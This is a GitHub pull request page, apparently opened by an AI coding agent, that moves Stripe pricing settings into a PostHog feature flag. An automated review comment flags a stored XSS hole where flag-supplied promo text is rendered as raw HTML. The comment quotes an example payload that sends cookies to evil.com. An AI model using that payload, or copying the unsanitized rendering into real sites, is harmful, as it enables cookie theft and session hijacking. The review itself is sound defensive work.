-
Notifications
You must be signed in to change notification settings - Fork 532
Replace Stripe price env vars with PostHog pricing-config feature flag #3701
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
devin-ai-integration
wants to merge
1
commit into
main
Choose a base branch
from
devin/1770463709-pricing-config-feature-flag
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,4 +1,5 @@ | ||
| export * from "./supabase"; | ||
| export * from "./stripe"; | ||
| export * from "./posthog"; | ||
| export * from "./pricing-config"; | ||
| export * from "./restate"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,25 @@ | ||
| import { posthog } from "./posthog"; | ||
|
|
||
| export type PricingConfig = { | ||
| monthly_price_id: string; | ||
| yearly_price_id: string; | ||
| monthly_display_price: number; | ||
| yearly_display_price: number; | ||
| monthly_original_price: number | null; | ||
| yearly_original_price: number | null; | ||
| promo_text: string | null; | ||
| promo_active: boolean; | ||
| save_percentage: string | null; | ||
| }; | ||
|
|
||
| const FLAG_KEY = "pricing-config"; | ||
|
|
||
| export async function getPricingConfig(): Promise<PricingConfig> { | ||
| const payload = await posthog.getFeatureFlagPayload(FLAG_KEY, ""); | ||
| if (payload && typeof payload === "object") { | ||
| return payload as PricingConfig; | ||
| } | ||
| throw new Error( | ||
| "pricing-config feature flag not found or has invalid payload", | ||
| ); | ||
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,42 @@ | ||
| import { createServerOnlyFn } from "@tanstack/react-start"; | ||
| import { PostHog } from "posthog-node"; | ||
|
|
||
| import { env } from "@/env"; | ||
|
|
||
| export type PricingConfig = { | ||
| monthly_price_id: string; | ||
| yearly_price_id: string; | ||
| monthly_display_price: number; | ||
| yearly_display_price: number; | ||
| monthly_original_price: number | null; | ||
| yearly_original_price: number | null; | ||
| promo_text: string | null; | ||
| promo_active: boolean; | ||
| save_percentage: string | null; | ||
| }; | ||
|
|
||
| const FLAG_KEY = "pricing-config"; | ||
|
|
||
| let posthogClient: PostHog | null = null; | ||
|
|
||
| function getPostHogClient(): PostHog { | ||
| if (!posthogClient) { | ||
| posthogClient = new PostHog(env.VITE_POSTHOG_API_KEY!, { | ||
| host: env.VITE_POSTHOG_HOST, | ||
| }); | ||
| } | ||
| return posthogClient; | ||
| } | ||
|
|
||
| export const getPricingConfig = createServerOnlyFn( | ||
| async (): Promise<PricingConfig> => { | ||
| const client = getPostHogClient(); | ||
| const payload = await client.getFeatureFlagPayload(FLAG_KEY, ""); | ||
| if (payload && typeof payload === "object") { | ||
| return payload as PricingConfig; | ||
| } | ||
| throw new Error( | ||
| "pricing-config feature flag not found or has invalid payload", | ||
| ); | ||
| }, | ||
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟡 XSS via dangerouslySetInnerHTML with PostHog feature flag payload
The
PromoBannercomponent renderspromo_textfrom the PostHogpricing-configfeature flag payload directly as raw HTML usingdangerouslySetInnerHTML. Any user with access to modify the PostHog feature flag can inject arbitrary JavaScript that executes in every visitor's browser on the pricing page.Security impact and recommendation
At
apps/web/src/routes/_view/pricing.tsx:143, thepromo_textstring from PostHog is inserted as raw HTML:While PostHog is an admin-controlled service, this creates an unnecessary stored XSS vector. If the PostHog account is compromised, or a team member with PostHog access acts maliciously, they can set
promo_textto something like<img src=x onerror="document.location='https://evil.com/?c='+document.cookie">which would execute on all pricing page visitors.The previous
TeamPricingBannerused safe, hardcoded JSX content. The promo text is simple marketing copy (e.g., "Early Bird Discount: ...") that could safely use a text-only approach or be sanitized before insertion.Impact: Arbitrary JavaScript execution in visitors' browsers, enabling cookie theft, session hijacking, or phishing.
Prompt for agents
Was this helpful? React with 👍 or 👎 to provide feedback.